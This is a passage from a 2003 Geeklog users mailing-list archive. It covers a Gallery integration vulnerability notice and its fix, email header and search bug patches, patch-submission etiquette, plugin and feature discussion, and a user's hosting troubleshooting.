locations where $GEEKLOG_DIR is found are preceded by an "include('config.php');" which eliminates the security risk in those areas. (This is because the $GEEKLOG_DIR variable is assigned a value in the config.php file overriding any value passed by GET or POST). It might not be a bad idea to check to be sure that $GEEKLOG_DIR is in the config.php file (though the integration will not work without its presence). I'll put together an update which addresses these problems as soon as I can (perhaps as soon as this weekend). By early next year I'll try to complete a security audit of the geeklog/gallery integration code to try to eliminate all security problems. I appologize to those affected by this problem and I hope that not many machines were compromised as result of this problem. I don't know how long this vulerbility has been in the code, but it has been there for more than a year (since before I began to work on the integration). -Vinny From lgonze at panix.com Wed Dec 10 22:39:46 2003 From: lgonze at panix.com (Lucas Gonze) Date: Wed, 10 Dec 2003 22:39:46 -0500 Subject: [geeklog-users] fix in COM_isemail In-Reply-To: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com> Message-ID: If you guys start acknowledging my fixes I'll keep submitting them. From tony at tonybibbs.com Thu Dec 11 09:25:47 2003 From: tony at tonybibbs.com (Tony Bibbs) Date: Thu, 11 Dec 2003 08:25:47 -0600 Subject: [geeklog-users] Geeklog/Gallery Vulnerbility Fix In-Reply-To: References: Message-ID: <3FD87E6B.7090106@tonybibbs.com> Blah, don't apologize. Most of us love the integration you have provided with Gallery and we are glad you are providing a quick fix. Vincent Furia wrote: > All that is required to correct this vulnerbility is to remove the line: > > require_once($GEEKLOG_DIR . '/lib-common.php'); > >>From the files User.php and UserDB.php in the gallery\classes\geeklog > folder. > > The other locations where $GEEKLOG_DIR is found are preceded by an > "include('config.php');" which eliminates the security risk in those > areas. (This is because the $GEEKLOG_DIR variable is assigned a value in > the config.php file overriding any value passed by GET or POST). It might > not be a bad idea to check to be sure that $GEEKLOG_DIR is in the > config.php file (though the integration will not work without its > presence). > > I'll put together an update which addresses these problems as soon as I > can (perhaps as soon as this weekend). By early next year I'll try to > complete a security audit of the geeklog/gallery integration code to try > to eliminate all security problems. > > I appologize to those affected by this problem and I hope that not many > machines were compromised as result of this problem. I don't know how > long this vulerbility has been in the code, but it has been there for more > than a year (since before I began to work on the integration). > > -Vinny > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users From jason at tribaldawn.com Sun Dec 14 13:54:59 2003 From: jason at tribaldawn.com (Jason Godesky) Date: Sun, 14 Dec 2003 13:54:59 -0500 Subject: [geeklog-users] Curious plugin woes Message-ID: NOTE: The following was originally posted [http://www.langfamily.ca/forum/viewtopic.php?forum=2&showtopic=1612] on the Langfamily Portal [http://www.langfamily.ca/] forums I've been struggling with several of Blaine's (and other) plugins for several days, and I'm not entirely sure what's going on here. I'm running Geeklog 1.3.8 security release 3, with PHP 4.3.2 and MySQL 4.0.15. Most of the time when I get to createtopic.php in the forum, clicking "submit" or "preview" gives me a "connection close by remote server" error--but not always! Moreover, it only happens when I'm logged in, never when I'm anonymous. And it appears to be tied to which theme I'm using (even though I made both themes, and they differ pretty much only in the graphics they use). In fact, on further testing, it seemed to be the actual act of changing my theme that would finally allow me to post. With the File Manager, I've been having the same problem RPotter reported [http://www.langfamily.ca/forum/viewtopic.php?forum=8&showtopic=1546], but having gone over the installation several times already, I still cannot find the problem. The installation reported success, and all the public areas showed up perfectly, but the admin page just wasn't there. I've been having similar problems with other plugins--the lists plugin for mailing lists overloaded the MySQL client's memory, for instance. I'm beginning to suspect there's a common cause to all my Geeklog plugin woes, but I haven't the foggiest notion what it might be. Blaine, or anyone else, can anyone here help me? -- Jason Godesky jason at tribaldawn.com http://www.tribaldawn.com/jason/ From lgonze at panix.com Mon Dec 15 16:00:51 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 15 Dec 2003 16:00:51 -0500 Subject: [geeklog-users] Illegal MIME chars found in header Message-ID: The emailed password to a new user of my system just caused the following bounce message. I really don't see the problem, so I'm hoping that other geeklog sites have encountered it already. Here's the bounce, with domains changed to protect the innocent: Attention: admin at foo.org A problem was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching its destination. The problem was reported to be: Illegal MIME chars found in header Please contact your I.T support personnel with any queries regarding this policy. Your message was sent with the following envelope: MAIL FROM: admin at foo.org RCPT TO: bay at barnet ... and with the following headers: --- MAILFROM: admin at foo.org Received: from generalpublic.org (66.132.150.27) by 63.208.193.225 with SMTP; 15 Dec 2003 13:01:44 -0500 Received: (qmail 11504 invoked by uid 48); 15 Dec 2003 18:18:41 -0000 Date: 15 Dec 2003 18:18:41 -0000 Message-ID: <20031215181841.11503.qmail at generalpublic.org> To: bay at bar.net Subject: foosite: Your Account Information From: fooadmin X-Mailer: GeekLog 1.3.8-1sr2 Content-Type: text/plain; charset=iso-8859-1 --- From geeklog at langfamily.ca Mon Dec 15 09:54:20 2003 From: geeklog at langfamily.ca (Blaine Lang) Date: Mon, 15 Dec 2003 09:54:20 -0500 Subject: [geeklog-users] Curious plugin woes References: Message-ID: <004101c3c31b$52556f90$640a10ac@lang> Please don't tripple post -- I got the post on mysite and geeklog.net. Doing so just makes more work for me -- and does not make one all that pleased ;) ----- Original Message ----- From: "Jason Godesky" To: Sent: Sunday, December 14, 2003 1:54 PM Subject: [geeklog-users] Curious plugin woes > > NOTE: The following was originally posted > [http://www.langfamily.ca/forum/viewtopic.php?forum=2&showtopic=1612] on > the Langfamily Portal [http://www.langfamily.ca/] forums > > I've been struggling with several of Blaine's (and other) plugins for > several days, and I'm not entirely sure what's going on here. I'm running > Geeklog 1.3.8 security release 3, with PHP 4.3.2 and MySQL 4.0.15. Most of > the time when I get to createtopic.php in the forum, clicking "submit" or > "preview" gives me a "connection close by remote server" error--but not > always! Moreover, it only happens when I'm logged in, never when I'm > anonymous. And it appears to be tied to which theme I'm using (even though > I made both themes, and they differ pretty much only in the graphics they > use). In fact, on further testing, it seemed to be the actual act of > changing my theme that would finally allow me to post. > > With the File Manager, I've been having the same problem RPotter reported > [http://www.langfamily.ca/forum/viewtopic.php?forum=8&showtopic=1546], but > having gone over the installation several times already, I still cannot > find the problem. The installation reported success, and all the public > areas showed up perfectly, but the admin page just wasn't there. > > I've been having similar problems with other plugins--the lists plugin for > mailing lists overloaded the MySQL client's memory, for instance. I'm > beginning to suspect there's a common cause to all my Geeklog plugin woes, > but I haven't the foggiest notion what it might be. Blaine, or anyone > else, can anyone here help me? > > -- > Jason Godesky > jason at tribaldawn.com > http://www.tribaldawn.com/jason/ > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users From lgonze at panix.com Mon Dec 15 16:28:16 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 15 Dec 2003 16:28:16 -0500 Subject: [geeklog-users] Illegal MIME chars found in header In-Reply-To: Message-ID: <987C0BD2-2F45-11D8-BD2B-000393455590@panix.com> Background on the issue: http://www.vbulletin.com/forum/bugs.php?do=view&bugid=1496 http://www.ez.no/developer/ez_publish_3/forum/developer/ illegal_mime_chars_in_email_header Geeklog code that leads to the bug is in users.php, function emailpassword: mail($A["email"] ,"{$_CONF["site_name"]}: {$LANG04[16]}" ,$mailtext ,"From: {$_CONF["site_name"]} <{$_CONF["site_mail"]}>\r\nReturn-Path: <{$_CONF["site_mail"]}>\r\nX-Mailer: GeekLog " . VERSION . "\r\nContent-Type: text/plain; charset={$charset}" ); The fix is to change the \r\n to \n. This breaks with the RFC but appears to be standard practice to get past virus detectors, which don't accept RFC-compliant mime headers. This is the new code in my version of users.php: mail($A["email"] ,"{$_CONF["site_name"]}: {$LANG04[16]}" ,$mailtext ,"From: {$_CONF["site_name"]} <{$_CONF["site_mail"]}>\nReturn-Path: <{$_CONF["site_mail"]}>\nX-Mailer: GeekLog " . VERSION . "\nContent-Type: text/plain; charset={$charset}" ); On Monday, Dec 15, 2003, at 16:00 America/New_York, Lucas Gonze wrote: > The emailed password to a new user of my system just caused the > following bounce message. I really don't see the problem, so I'm > hoping that other geeklog sites have encountered it already. Here's > the bounce, with domains changed to protect the innocent: > > Attention: admin at foo.org > > > A problem was found in an Email message you sent. > This Email scanner intercepted it and stopped the entire message > reaching its destination. > > The problem was reported to be: > > Illegal MIME chars found in header > > > Please contact your I.T support personnel with any queries regarding > this > policy. > > > Your message was sent with the following envelope: > > MAIL FROM: admin at foo.org > RCPT TO: bay at barnet > > ... and with the following headers: > > --- > MAILFROM: admin at foo.org > Received: from generalpublic.org (66.132.150.27) > by 63.208.193.225 with SMTP; 15 Dec 2003 13:01:44 -0500 > Received: (qmail 11504 invoked by uid 48); 15 Dec 2003 18:18:41 -0000 > Date: 15 Dec 2003 18:18:41 -0000 > Message-ID: <20031215181841.11503.qmail at generalpublic.org> > To: bay at bar.net > Subject: foosite: Your Account Information > From: fooadmin > X-Mailer: GeekLog 1.3.8-1sr2 > Content-Type: text/plain; charset=iso-8859-1 > > > --- > > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users > From lgonze at panix.com Mon Dec 15 17:57:59 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 15 Dec 2003 17:57:59 -0500 Subject: [geeklog-users] submitting code Message-ID: <212212DA-2F52-11D8-BD2B-000393455590@panix.com> Ok, given that the project maintainers always ignore patches, I'm wondering what other users do with their code. Does anybody else submit stuff, or do you just keep a private fork on your own machine? Any advice? From geeklog at langfamily.ca Mon Dec 15 18:56:54 2003 From: geeklog at langfamily.ca (Blaine Lang) Date: Mon, 15 Dec 2003 18:56:54 -0500 Subject: [geeklog-users] submitting code References: <212212DA-2F52-11D8-BD2B-000393455590@panix.com> Message-ID: <007201c3c367$1dacfd70$640a10ac@lang> I don't think that project owners ignore patches and bug reports. We do appreciate a little patience and ask that bugs be reported. Many times, the developer may already be aware or working on a future release. Critical security related problems get priority and attention. If you have a Core Geeklog bug - then report it using the Link of the main page on geeklog.net (Top Left) Like many others, I have a number of projects and many more ideas then time. Depending on the issue, I proritize them and the project. Regards, Blaine ----- Original Message ----- From: "Lucas Gonze" To: Sent: Monday, December 15, 2003 5:57 PM Subject: [geeklog-users] submitting code > Ok, given that the project maintainers always ignore patches, I'm > wondering what other users do with their code. Does anybody else > submit stuff, or do you just keep a private fork on your own machine? > Any advice? > > > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users From lgonze at panix.com Mon Dec 15 19:12:33 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 15 Dec 2003 19:12:33 -0500 Subject: [geeklog-users] submitting code In-Reply-To: <007201c3c367$1dacfd70$640a10ac@lang> Message-ID: <8BA22583-2F5C-11D8-BD2B-000393455590@panix.com> In general, I never report bugs without also submitting a fix, so that's really what my question is about. So far there are have been a fix in search.php, one in the email address check, one in COM_refresh, and one in the code to email the password. Any suggestions for how I can do that in a way which is more likely to be successful? - Lucas On Monday, Dec 15, 2003, at 18:56 America/New_York, Blaine Lang wrote: > I don't think that project owners ignore patches and bug reports. We do > appreciate a little patience and ask that bugs be reported. > Many times, the developer may already be aware or working on a future > release. Critical security related problems get priority and attention. > > If you have a Core Geeklog bug - then report it using the Link of the > main > page on geeklog.net (Top Left) > > Like many others, I have a number of projects and many more ideas then > time. > Depending on the issue, I proritize them and the project. > > Regards, > Blaine > ----- Original Message ----- > From: "Lucas Gonze" > To: > Sent: Monday, December 15, 2003 5:57 PM > Subject: [geeklog-users] submitting code > > >> Ok, given that the project maintainers always ignore patches, I'm >> wondering what other users do with their code. Does anybody else >> submit stuff, or do you just keep a private fork on your own machine? >> Any advice? >> >> >> >> _______________________________________________ >> geeklog-users mailing list >> geeklog-users at lists.geeklog.net >> http://lists.geeklog.net/listinfo/geeklog-users > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users > From geeklog at langfamily.ca Mon Dec 15 19:24:30 2003 From: geeklog at langfamily.ca (Blaine Lang) Date: Mon, 15 Dec 2003 19:24:30 -0500 Subject: [geeklog-users] submitting code References: <8BA22583-2F5C-11D8-BD2B-000393455590@panix.com> Message-ID: <008301c3c36a$f8bf6b70$640a10ac@lang> Thats great that you are submitting a recommended fix with your bug reports. You can safely include the code inline or as an attachment when submitting your bug. This way everything is online and you can track it as well -- easy to get lost in emails otherwise. Thanks for your ideas and feedback. Regards, Blaine ----- Original Message ----- From: "Lucas Gonze" To: Sent: Monday, December 15, 2003 7:12 PM Subject: Re: [geeklog-users] submitting code > In general, I never report bugs without also submitting a fix, so > that's really what my question is about. So far there are have been a > fix in search.php, one in the email address check, one in COM_refresh, > and one in the code to email the password. Any suggestions for how I > can do that in a way which is more likely to be successful? > > - Lucas > > On Monday, Dec 15, 2003, at 18:56 America/New_York, Blaine Lang wrote: > > > I don't think that project owners ignore patches and bug reports. We do > > appreciate a little patience and ask that bugs be reported. > > Many times, the developer may already be aware or working on a future > > release. Critical security related problems get priority and attention. > > > > If you have a Core Geeklog bug - then report it using the Link of the > > main > > page on geeklog.net (Top Left) > > > > Like many others, I have a number of projects and many more ideas then > > time. > > Depending on the issue, I proritize them and the project. > > > > Regards, > > Blaine > > ----- Original Message ----- > > From: "Lucas Gonze" > > To: > > Sent: Monday, December 15, 2003 5:57 PM > > Subject: [geeklog-users] submitting code > > > > > >> Ok, given that the project maintainers always ignore patches, I'm > >> wondering what other users do with their code. Does anybody else > >> submit stuff, or do you just keep a private fork on your own machine? > >> Any advice? > >> > >> > >> > >> _______________________________________________ > >> geeklog-users mailing list > >> geeklog-users at lists.geeklog.net > >> http://lists.geeklog.net/listinfo/geeklog-users > > > > _______________________________________________ > > geeklog-users mailing list > > geeklog-users at lists.geeklog.net > > http://lists.geeklog.net/listinfo/geeklog-users > > > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users From lgonze at panix.com Mon Dec 15 19:30:46 2003 From: lgonze at panix.com (Lucas Gonze) Date: Mon, 15 Dec 2003 19:30:46 -0500 Subject: [geeklog-users] submitting code In-Reply-To: <008301c3c36a$f8bf6b70$640a10ac@lang> Message-ID: <17681440-2F5F-11D8-BD2B-000393455590@panix.com> Ok, thanks Blaine. - Lucas On Monday, Dec 15, 2003, at 19:24 America/New_York, Blaine Lang wrote: > Thats great that you are submitting a recommended fix with your bug > reports. > You can safely include the code inline or as an attachment when > submitting > your bug. This way everything is online and you can track it as well > -- easy > to get lost in emails otherwise. > > Thanks for your ideas and feedback. > > Regards, > Blaine > ----- Original Message ----- > From: "Lucas Gonze" > To: > Sent: Monday, December 15, 2003 7:12 PM > Subject: Re: [geeklog-users] submitting code > > >> In general, I never report bugs without also submitting a fix, so >> that's really what my question is about. So far there are have been a >> fix in search.php, one in the email address check, one in COM_refresh, >> and one in the code to email the password. Any suggestions for how I >> can do that in a way which is more likely to be successful? >> >> - Lucas >> >> On Monday, Dec 15, 2003, at 18:56 America/New_York, Blaine Lang wrote: >> >>> I don't think that project owners ignore patches and bug reports. We >>> do >>> appreciate a little patience and ask that bugs be reported. >>> Many times, the developer may already be aware or working on a future >>> release. Critical security related problems get priority and >>> attention. >>> >>> If you have a Core Geeklog bug - then report it using the Link of the >>> main >>> page on geeklog.net (Top Left) >>> >>> Like many others, I have a number of projects and many more ideas >>> then >>> time. >>> Depending on the issue, I proritize them and the project. >>> >>> Regards, >>> Blaine >>> ----- Original Message ----- >>> From: "Lucas Gonze" >>> To: >>> Sent: Monday, December 15, 2003 5:57 PM >>> Subject: [geeklog-users] submitting code >>> >>> >>>> Ok, given that the project maintainers always ignore patches, I'm >>>> wondering what other users do with their code. Does anybody else >>>> submit stuff, or do you just keep a private fork on your own >>>> machine? >>>> Any advice? >>>> >>>> >>>> >>>> _______________________________________________ >>>> geeklog-users mailing list >>>> geeklog-users at lists.geeklog.net >>>> http://lists.geeklog.net/listinfo/geeklog-users >>> >>> _______________________________________________ >>> geeklog-users mailing list >>> geeklog-users at lists.geeklog.net >>> http://lists.geeklog.net/listinfo/geeklog-users >>> >> >> _______________________________________________ >> geeklog-users mailing list >> geeklog-users at lists.geeklog.net >> http://lists.geeklog.net/listinfo/geeklog-users > > _______________________________________________ > geeklog-users mailing list > geeklog-users at lists.geeklog.net > http://lists.geeklog.net/listinfo/geeklog-users > From dirk at haun-online.de Wed Dec 17 14:25:16 2003 From: dirk at haun-online.de (Dirk Haun) Date: Wed, 17 Dec 2003 20:25:16 +0100 Subject: [geeklog-users] submitting code In-Reply-To: <212212DA-2F52-11D8-BD2B-000393455590@panix.com> References: <212212DA-2F52-11D8-BD2B-000393455590@panix.com> Message-ID: <20031217192516.23421@smtp.haun-online.de> Lucas, >Ok, given that the project maintainers always ignore patches, I'm >wondering what other users do with their code. With the amount of traffic in the forums, stuff posted there - and also here on the mailing lists - tends to get lost. So, as Blaine already said, the best thing to do is submit bug reports and feature requests and attach your patches. >So far there are have been a >fix in search.php, one in the email address check, one in COM_refresh, >and one in the code to email the password. Also, before submitting patches, it's always a good idea to check with CVS. I remember seeing the one about the email address check, but since the CVS version is already using a PEAR class to do that, it's probably not going to make it into Geeklog anyway. The same applies to the emailing of passwords (again, CVS is using PEAR: Mail now). And, btw, I don't plan on breaking standards just because of some broken antivirus software. We discussed the COM_refresh issue here on the list, but came to no conclusion. Not sure what to do there, but I'm leaning towards leaving it as it is. Can't remember what the fix for search.php was about. If it was about the links showing up when searching for an author - that is a known issue and exists as a bug report. Blaine, didn't you plan to work on that? And, as you can see from my late reply, we all seem to have a minor problem with the time we can spend on the project recently ... bye, Dirk -- http://www.haun-online.de/ http://www.macosx-faq.de/ From lgonze at panix.com Wed Dec 17 15:48:43 2003 From: lgonze at panix.com (Lucas Gonze) Date: Wed, 17 Dec 2003 15:48:43 -0500 Subject: [geeklog-users] submitting code In-Reply-To: <20031217192516.23421@smtp.haun-online.de> Message-ID: <6727FC4A-30D2-11D8-B767-000393455590@panix.com> On Wednesday, Dec 17, 2003, at 14:25 America/New_York, Dirk Haun wrote: > Can't remember what the fix for search.php was about. If it was about > the > links showing up when searching for an author - that is a known issue > and > exists as a bug report. Blaine, didn't you plan to work on that? Original post on the search fix is at the bottom of this message. Better to manage that one via the bug tracker. > And, as you can see from my late reply, we all seem to have a minor > problem with the time we can spend on the project recently ... That's what I assumed. Finding time for free work is hard. Thanks. - Lucas Here's the search fix: In search.php, the code tests mode to see if it's 'search': if ($HTTP_GET_VARS['mode'] == 'search' ) { $display .= $searchObj->doSearch(); } else { $display .= $searchObj->showForm(); } But if the search was submitted via searchform.html (my own version of this was cannibalized from the Yahoo theme), the mode variable will be 'Search' rather than 'search'. One possible fix is to do the test case-insensitive. However that wouldn't catch situations where the text had been translated. A more dependable fix is to look for the 'query' variable instead: if (!empty($HTTP_GET_VARS['query']) ) { $display .= $searchObj->doSearch(); } else { $display .= $searchObj->showForm(); } The new search.php would be: require_once('lib-common.php'); require_once($_CONF['path_system'] . 'classes/search.class.php'); $display = COM_siteHeader(); $searchObj = new Search(); if ( !empty($HTTP_GET_VARS['query']) ) { $display .= $searchObj->doSearch(); } else { $display .= $searchObj->showForm(); } $display .= COM_siteFooter(); echo $display; From geeklog at daniu.de Thu Dec 18 08:46:28 2003 From: geeklog at daniu.de (Daniel Kopp) Date: Thu, 18 Dec 2003 14:46:28 +0100 Subject: [geeklog-users] bigger address list Message-ID: Hi! Some time ago I posted on geeklog.net that I would appreciate a bigger, better address-book for geeklog. In particular the most important features for me are rights for address book entries - meaning I can allow a group or a single person to read, edit, maybe add new addresses and delete them. By that every geeklog-admin could manage his/her addresses of all (acquaintances) groups in 1 place and people could all change their addresses themselves which will - if it works and people use it - keep the address book always up to date. I have an address list written in perl with a textfile as data-container (only 1 group and not really comfortable). I found out that people participate only if they are reminded on the existence of the list from time to time. To do this - in a way that makes sense and does not annoy anybody - I send an email on ever change of an address. So this is a feature which should be added. I also could imagine to output the list in different forms like pdf, Excel, csv, html printable, html colored. Now - I would like to get more into that but I am not very familiar with the way geeklog works and everybody knows that it is most difficult to understand other peoples way of programming. So I would: -appreciate some pointers to how geeklog works -get connected to people who want to participate and know more about how to set up plug-ins (of course I've seen the template for that), get user info in plug-ins, etc. When thinking about it - I came to this first thoughts: three additional tables: *** 1. User-data: uid data // all the user data (containing all sort of more or // less weird info, as much as possible at first) *** 2. Rights: uid grp_id // to be able to set rights for single persons // or for a whole group (like in gl_group_assignments) uid_source // the addresses to allow grp_source // same with groups rights // 1 see (only for groups: for admin to be able to hide // a group even to people that are in it. In other words: // to set up which groups are used for the address list, // 2 read, 4 write, 8 add, 16 delete, 32 whatever *** 3. User settings uid Settings // things like list-format, "getmail on change". // This could also go into User-data (1) but is somehow // different. *** A later step could be to enable the Geeklogadmin to set up self defined columns as data. I really hope some people are interested and participate! If the existing contacts-plug-in would be easy to change in a way that comes close to my ideas this would be OK, too. However as far as I understood "contacts" is very different and not so easy to get do what I want to do. Merry Christmas Daniel From public at carukia.net Sat Dec 20 19:09:51 2003 From: public at carukia.net (timo ochmann) Date: Sat, 20 Dec 2003 16:09:51 -0800 Subject: [geeklog-users] GeekLog v1.3.8-1sr3, secure authentication?! Message-ID: has anyone come up with an easy and simple way to implement secure 'Admin' authentication/login (or all users!) under 'GeekLog v1.3.8-1sr3'?! i don't want to run the entire site as 'https'. the online docs didn't yield anything useful. is there something in the works to facilitate this? simple ip filtering would be another option, see i.e. 'pure-ftp'. any feedback appreciated. if this has been asked before, i apologize, ... thanks. From terry at tdce.com.au Mon Dec 22 21:53:22 2003 From: terry at tdce.com.au (TC Giufre-Sweetser) Date: Tue, 23 Dec 2003 12:53:22 +1000 (EST) Subject: [geeklog-users] Hello and a Question... Message-ID: I have several incoming notification email lists, like isp outages, and notices from email lists. I would to feed them directly into a set of topics as stories. (And expiring them after 7 days automatically would be nice!) How do I do this? --- Terence C. Giufre-Sweetser +--------------------------------+--------------------------+ | TereDonn Computer Engineering | FAX +61-[0]7-34204971 | | PO BOX 1054, SPRING HILL 4004 | Mobile +61-[0]414-663053 | | Queensland Australia | http://www.tdce.com.au | +--------------------------------+--------------------------+ | DSL from 256K to 16M, Qld wide coverage, Wholesale prices | +-----------------------------------------------------------+ From geeklog at daniu.de Sat Dec 27 11:23:08 2003 From: geeklog at daniu.de (Daniel Kopp) Date: Sat, 27 Dec 2003 17:23:08 +0100 Subject: [geeklog-users] Change user-settings Message-ID: Hi! It seems that the new geeklog allows only 1 account per Emailaddress. (I get an error message when I try to change an old account) That seems to be a good idea on the first look but maybe someone wants to have several accounts for ceveral positions or a family uses 1 Emailaddress for many people. Maybe this "feature" should be possible to turn off. Regards Daniel From geeklog at daniu.de Sat Dec 27 11:30:21 2003 From: geeklog at daniu.de (Daniel Kopp) Date: Sat, 27 Dec 2003 17:30:21 +0100 Subject: [geeklog-users] What I like/don't like about geeklog Message-ID: Hi! When I "chose" to use geeklog it was less a real choice as much more the amazement about the existence of Content-Management-Systems in general. Geeklog just happened to be the first I found. Now - after some month I started to think about changing - basically because: -the mailing list is very dead - where do you guys exchange thoughts? -the designers (program design) of geeklog only seem to be happy when they can separate the whole thing in as many files as possible. That results in very high webspace consumption (maybe I am wrong about this - but windows says: size: small value; used space: very high value ... Is that different on Linux?). I don't have unlimited space ... * -I tried to find out how to write a plug-in for geeklog and gave up. I tried to find out to write one for phpnuke and was really about to change ... In geeklog you need to spend so much more time - it's unbelievable. In phpnuke you have your "hello world" plug-in in 5 mins. Also the way a plug-in has to be installed is somehow complicated. (put this here and that there and then write this here and ...) -the layouts are split in so many files which can all be configured separately but I think in 99% of all cases are not touched at all and so just waste space. (I changed my geeklog so that lots of folders are used together) I know the forum is note really geeklog itself but that's worst. Why was it not set up in the way (like I use it now) that there is only 1 set of layout which every site-layout uses? For geeklog in general: why not make a standard layout which can be overloaded by custom layouts. So every new layout only needs to add the stuff which is non-standard. -gmail is not finished yet ... -I miss Multilanguage - though I would not be content with the way others do it: I should be able to say which languages I know and which one I prefer. Writing articles should be possible in Multilanguage so that the user gets preferred language (if it exists) and understandable articles (not just 1 language). Others give you only your set language. -BTW: how come geeklog does not check the browser language? (I know of the issue with the Chinese "English" [??] button which is not understood by most English speakers - but that could be solved ...) --> change your preferred language to Chinese and check www.msn.com :-) it's worse than ?? ??? The things that brought me back to geeklog: -when _I_ start phpnuke it works but only with lots of warnings. So I need to add a "error_reporting(E_ERROR);" manually but people should not like that ... -security of geeklog is obviously the best of all CMSes -the groups-implementation of geeklog is just outstanding -the layouts for geeklog are somehow more different from each other than in other CMSes -gmail will hopefully soon fill the gap as webmailer in geeklog -the phpnuke way of publishing things 1 month earlier for registered (paying) users is not nice ... (just too much hassle to look for this Italian page which is stupid enough to offer it earlier :-)) -is it really so special to post pictures in news? Or did I just fail to do it in other CMSes? -is it true that I may change the footer in geeklog (not like in other CMSes) so that people need to ask which CMS it is (I think people who are interested will ask - others don't care)? So - finally I guess I will stick to geeklog Regards Daniel * after some hacking I managed to have geeklog on win with forum/chatterblock, 7 layouts, 5 languages with around 8,5 MB which is acceptable ... From dirk at haun-online.de Sun Dec 28 16:18:41 2003 From: dirk at haun-online.de (Dirk Haun) Date: Sun, 28 Dec 2003 22:18:41 +0100 Subject: [geeklog-users] What I like/don't like about geeklog In-Reply-To: References: Message-ID: <20031228211841.22076@smtp.haun-online.de> Daniel, first of all: I saw that you submitted this as a story on geeklog.net (why not in the Feedback forum?), but the formatting of that post is a mess, so I prefer to respond here ... >-the mailing list is very dead - where do you guys exchange thoughts? Which mailing list (we have several)? Which "guys" are you talking about (users or developers)? Most of the user feedback these days happens in the forums on geeklog.net. The developers use the (closed) geeklog-devel mailing list (of which a digest is posted to geeklog-devtalk) and IRC, mostly. Also keep in mind the time of the year and the fact that most of the developers are busy with family or business matters. Yes, it is sort of a slow phase currently and I would have preferred to have Geeklog 1.3.9 out months ago, but such is life ... >-the designers (program design) of geeklog only seem to be happy when they >can separate the whole thing in as many files as possible. In a word, that's nonsense. The Geeklog code is separated into logical units of managable size. I don't think we have that many files there. You may be thinking about the themes, but even there it does make sense. Please keep in mind that Geeklog ships with 7 default themes. Usually, you will use only one theme on a site, which brings down the number of files drastically. >-I tried to find out how to write a plug-in for geeklog and gave up. I tried >to find out to write one for phpnuke and was really about to change ... In >geeklog you need to spend so much more time - it's unbelievable. So what did you try? Did you see the Plugin Developers Guide? Do you realise that you don't need to implement all of the functions? A very minimal plugin can be written in a couple of minutes, depending on what you want to achieve. Check out the "MacIG" plugin available from geeklog.net's download area. It only implements 4 functions of the plugin API to achieve one specific goal (extending the user's profile). Of course, a plugin such as the forum will make use of a lot more of the plugin API functions ... >-gmail is not finished yet ... What's gmail? Isn't that a plugin? And why is that a problem? >-I miss Multilanguage - though I would not be content with the way others do >it: I should be able to say which languages I know and which one I prefer. >Writing articles should be possible in Multilanguage so that the user gets >preferred language (if it exists) and understandable articles (not just 1 >language). Others give you only your set language. We await your code contribution then ... Seriously, this is an open source project. Some things have "always been that way" - design decisions have been made at one point and then never questioned again. And some things just aren't that easy to change and/or not high on the list. If you don't like how certain things work, suggest alternatives, discuss them (on one of the mailing lists or in the forums, for example), submit feature requests or, preferrably, patches (and keep an eye on CVS). The infrastructure for all this is there - use it. >-is it true that I may change the footer in geeklog (not like in other >CMSes) so that people need to ask which CMS it is (I think people who are >interested will ask - others don't care)? Yes, you can remove the "Powered by Geeklog" logo / link, if you like. It would be nice if you could provide a link back, though, but it doesn't need to be on every page (since you're German: An "Impressum" page would be a good place for a link back to geeklog.net). bye, Dirk -- http://www.haun-online.de/ http://geeklog.info/ From vmf at abtech.org Sun Dec 28 22:53:19 2003 From: vmf at abtech.org (Vincent Furia) Date: Sun, 28 Dec 2003 22:53:19 -0500 Subject: [geeklog-users] Geeklog Gallery Integration Release Message-ID: <3FEFA52F.1070608@abtech.org> A new release which eliminates the previously discovered security vulnerbilities and updates the gallery version to 1.4.1. The file to download is gallery_1.4.1_1.3.8.tar.gz. The url to download from: http://sourceforge.net/project/showfiles.php?group_id=68255&package_id=69388&release_id=206395 -Vinny From OOgunney at adventisthealthcare.com Mon Dec 29 08:21:50 2003 From: OOgunney at adventisthealthcare.com (Ola Ogunneye) Date: Mon, 29 Dec 2003 08:21:50 -0500 Subject: [geeklog-users] Geeklog Gallery Integration Release Message-ID: Sorry to sound stupid, but can I delete the previous one that I had installed and then install this new one or would editing the parameters posted in the forum be good enough. I am still having problem getting my site to the internet, so I am wondering if deleting the previous version would be better for me. Thanks >>> vmf at abtech.org 12/28/03 10:53PM >>> A new release which eliminates the previously discovered security vulnerbilities and updates the gallery version to 1.4.1. The file to download is gallery_1.4.1_1.3.8.tar.gz. The url to download from: http://sourceforge.net/project/showfiles.php?group_id=68255&package_id=69388&release_id=206395 -Vinny _______________________________________________ geeklog-users mailing list geeklog-users at lists.geeklog.net http://lists.geeklog.net/listinfo/geeklog-users From OOgunney at adventisthealthcare.com Mon Dec 29 09:17:40 2003 From: OOgunney at adventisthealthcare.com (Ola Ogunneye) Date: Mon, 29 Dec 2003 09:17:40 -0500 Subject: [geeklog-users] Is there any hope for my site? Message-ID: Hello guys, I have been posting in the forum, and I cannot seem to resolve my problem. My site is ready locally. When I browse my site on the webserver, I get the desired result. However, when I browse it from the internet, It does not work. The following are pertinent information for my system Router -WAN IP 216.49.74.183 LAN IP 192.168.1.1 Server LAN IP 192.168.1.22 Sever DNS entry 192.168.1.22 - Microsoft recommended Windows 2000 Advanced Server with Active Directory and Local DNS Apache 2.0.47 PHP 4.3.2 Mysql 4.0.13 Geeklog 1.3.8 Gallery 1.4 My docroot is d:/apache/apache2/htdocs/feyiola_public When I had my $_CONF['site url'] as http:'localhost' it works perfectly well on my webserver but it cannot be viewed on the internet, it shows broken links. When I change the localhost entry to www.feyiola.com, then locally I get the broken 